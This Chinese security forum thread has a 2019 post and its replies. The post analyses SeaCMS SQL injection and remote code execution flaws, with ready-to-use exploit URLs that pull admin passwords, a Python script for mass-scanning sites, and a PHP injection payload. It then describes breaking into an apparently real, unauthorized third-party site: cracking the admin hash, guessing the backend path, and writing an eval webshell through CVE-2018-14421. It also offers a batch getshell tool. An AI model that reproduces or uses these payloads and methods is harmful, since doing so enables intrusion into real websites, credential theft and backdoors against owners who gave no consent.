用户
搜索
  • TA的每日心情

    3 天前
  • 签到天数: 50 天

    连续签到: 1 天

    [LV.5]常住居民I

    版主

    培训/授权项目Q547006660

    Rank: 7Rank: 7Rank: 7

    44

    主题

    162

    帖子

    2900

    魔法币
    收听
    0
    粉丝
    46
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手

    J0o1ey 版主 培训/授权项目Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 2019-10-1 01:11:41 14317754

    0X001海洋CMS简介

    海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)
    经过我多年**的经验,很多看小电影的网站都是用的这套cms或是maccms,因此是时候血洗小电影站点了
    uNuNfe.png
    呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。漏洞信息都已经上了首页了。。
    uNu8w6.png

    0X002 SeaCMS V9.1以下版本全版本SQL注入分析

    看到了最近tools上的seacms sql注入漏洞,不由得下体一硬。
    干干巴巴的,cnm,必须盘他!

    漏洞产生处code如下

    session_start();
    require_once("../../include/common.php");
    $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
    $page = (isset($page) && is_numeric($page)) ? $page : 1;
    $type = (isset($type) && is_numeric($type)) ? $type : 1;
    $pCount = 0;
    $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
    //缓存第一页的评论
    if($page<2)
    {
            if(file_exists($jsoncachefile))
            {
                    $json=LoadFile($jsoncachefile);
                    die($json);
            }
    }
    $h = ReadData($id,$page);
    $rlist = array();
    if($page<2)
    {
            createTextFile($h,$jsoncachefile);
    }
    die($h);        
    
    function ReadData($id,$page)
    {
            global $type,$pCount,$rlist;
            $ret = array("","",$page,0,10,$type,$id);
            if($id>0)
            {
                    $ret[0] = Readmlist($id,$page,$ret[4]);
                    $ret[3] = $pCount;
                    $x = implode(',',$rlist);
                    if(!empty($x))
                    {
                    $ret[1] = Readrlist($x,1,10000);
                    }
            }
            $readData = FormatJson($ret);
            return $readData;
    }
    
    function Readmlist($id,$page,$size)
    {
            global $dsql,$type,$pCount,$rlist;
            $ml=array();
            if($id>0)
            {
                    $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                    $rs = $dsql ->GetOne($sqlCount);
                    $pCount = ceil($rs['dd']/$size);
                    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                    $dsql->setQuery($sql);
                    $dsql->Execute('commentmlist');
                    while($row=$dsql->GetArray('commentmlist'))
                    {
                            $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                            $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                    }
            }
            $readmlist=join($ml,",");
            return $readmlist;
    }
    
    function Readrlist($ids,$page,$size)
    {
            global $dsql,$type;
            $rl=array();
            $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
            $dsql->setQuery($sql);
            $dsql->Execute('commentrlist');
            while($row=$dsql->GetArray('commentrlist'))
            {
                    $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
            }
            $readrlist=join($rl,",");
            return $readrlist;
    }

    仔细阅读以上代码,发现$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入
    漏洞利用Exploit如下(获取管理员表中第一个用户的密码)

    http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

    Exploit2(获取管理员表中第一个用户的账号)

    http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

    0X003 SeaCMS最新版本RCE分析

    在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕
    uNu3ex.png

    与老版本的seacms对比发现,程序员不知为何脑子犯抽,注释掉了数据库类中的一行代码,导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下,直接实现了前台rce
    uNuGTK.png
    Exploit如下
    www.xxx.com/comment/api/index.php?gid=1&page=2&rlist[]=11/?><?php phpinfo();/
    随后访问http://www.xxx.com/data/mysqli_error_trace.php
    发现phpinfo即可执行
    uNulO1.png
    闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,文末回复即可下载
    uNuaSH.png

    0X004实战

    分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:
    uNuYFO.png
    code如下(url.txt内容为你要批量测试的url)

    import requests
    print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
    urls = open(r"url.txt", "r")
    payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
    for url in urls:
        testurl = url.strip() + payload
        html = requests.get(testurl).text
        if "seacms" in html:
            print("[+]Exploit URL:" + testurl)

    虽然比较简陋,但也够用了,我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell,各位朋友有兴趣可以回复下载

    Sql注入的探测脚本发现了一个目标
    https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
    uNutYD.png
    这个站用的老版本seacms,因此不存在前台rce
    uNudld.png

    获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
    somd5成功解密
    uNuw6A.png

    密码为Qq7788520
    随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台
    uNugfg.png

    光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
    但是,我眉头一皱,发现事情并不简单
    前面获取到的密码是Qq7788520,这应该是管理员的qq吧?
    uNu0OI.png

    猜测后台为https://www.***.com/7788520
    结果Duang的一下~真tmd是后台。。。。进去了
    用之前注入到的账号密码,成功登录之
    uNur0P.png
    即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
    最后找到了CVE-2018-14421,一个Seacms Backend的RCE

    漏洞详情链接:http://hexo.imagemlt.xyz/post/seacms-backend-getshell/index.html

    漏洞分析文章:https://www.anquanke.com/post/id/152764

    按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

    {if:1)$GLOBALS['_G'.'ET']a;//}{end if}
    利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
    仔细研究了一下,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可实现参数污染

    我在首页上找到了一个叫做“传说中的七公主”的video,
    uNuDmt.png

    在后台搜索该影片后
    我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}
    uNusTf.png

    随后访问链接:
    http://www.***.com/index.php?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval($_POST[c])?%3E%27)};

    成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)

    高高兴兴连接之
    uNuctS.png

    0x005感想

    最近因为各种原因,没太有时间写文章,加上自己又大病了一个多月,可以说是非常虚弱啦,希望大家能够理解。
    今天是祖国母亲的生日,最能表达此时情感的当应是鲁迅先生的那句“寄意寒星荃不察,我以我血荐轩辕”,我虽是茫茫人海中浮浮沉沉的浮游,但我依然怀有建设祖国,报效祖国的梦。
    此生无悔为中华,来世愿在中华家。没有网络安全就没有国家安全,愿你我永立网络安全的潮头,为祖国的长治久安保驾护航。
    祝福中国,祝福这个伟大的时代!
    uNu6k8.png

    0x006批量利用脚本


    游客,如果您要查看本帖隐藏内容请回复
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660交流群820783253,团队首页www.gcowsec.ocm
    好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下的回复一下好想给你一堆六,但是似乎ichuqiu杜绝这种方式,所以水水的回复一下
    使用道具 举报 回复
                                    
    使用道具 举报 回复
    看看                     
    使用道具 举报 回复

    大表哥,我想问一下。注入的用的哪个版本复现的?我下载了9.1跟7.1都复现不了
    使用道具 举报 回复
    大表哥,我想问一下。注入的用的哪个版本复现的?我下载了9.1跟7.1都复现不了
    使用道具 举报 回复
               
    使用道具 举报 回复
               
    使用道具 举报 回复
    学到了学到了  ,谢谢楼主的分享,太感谢了
    使用道具 举报 回复
    发表于 2019-10-1 05:46:07
    路虽远,行则必达。事虽难,做则必成。
    使用道具 举报 回复
    发表于 2019-10-1 09:34:24
    非常感谢楼主。学了到了。
    使用道具 举报 回复
    非常感谢楼主。学了到了。
    使用道具 举报 回复
    发表于 2019-10-1 09:45:33
    这个小众的cms都被玩烂啦
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2019-10-1 09:59:40
    咔咔咔咔咔咔扩扩
    使用道具 举报 回复
    发表于 2019-10-1 13:21:13
    感谢表哥分享,受教了。
    使用道具 举报 回复
    老哥果然稳
    使用道具 举报 回复
    发表于 2019-10-1 13:48:27
    老哥果然稳
    使用道具 举报 回复
    使用道具 举报 回复
    学习学习学习使我快乐
    使用道具 举报 回复
    发表于 2019-10-2 11:38:01
    1111111111111111111111
    使用道具 举报 回复
    发表于 2019-10-2 14:23:02
    感谢表哥分享,受教了。
    使用道具 举报 回复
    发表于 2019-10-2 16:17:17

    非常感谢楼主。学了到了。
    使用道具 举报 回复
    发表于 2019-10-3 09:27:01
    非常感谢j0大表哥的rce
    使用道具 举报 回复
    您需要登录后才可以回帖 登录 | 立即注册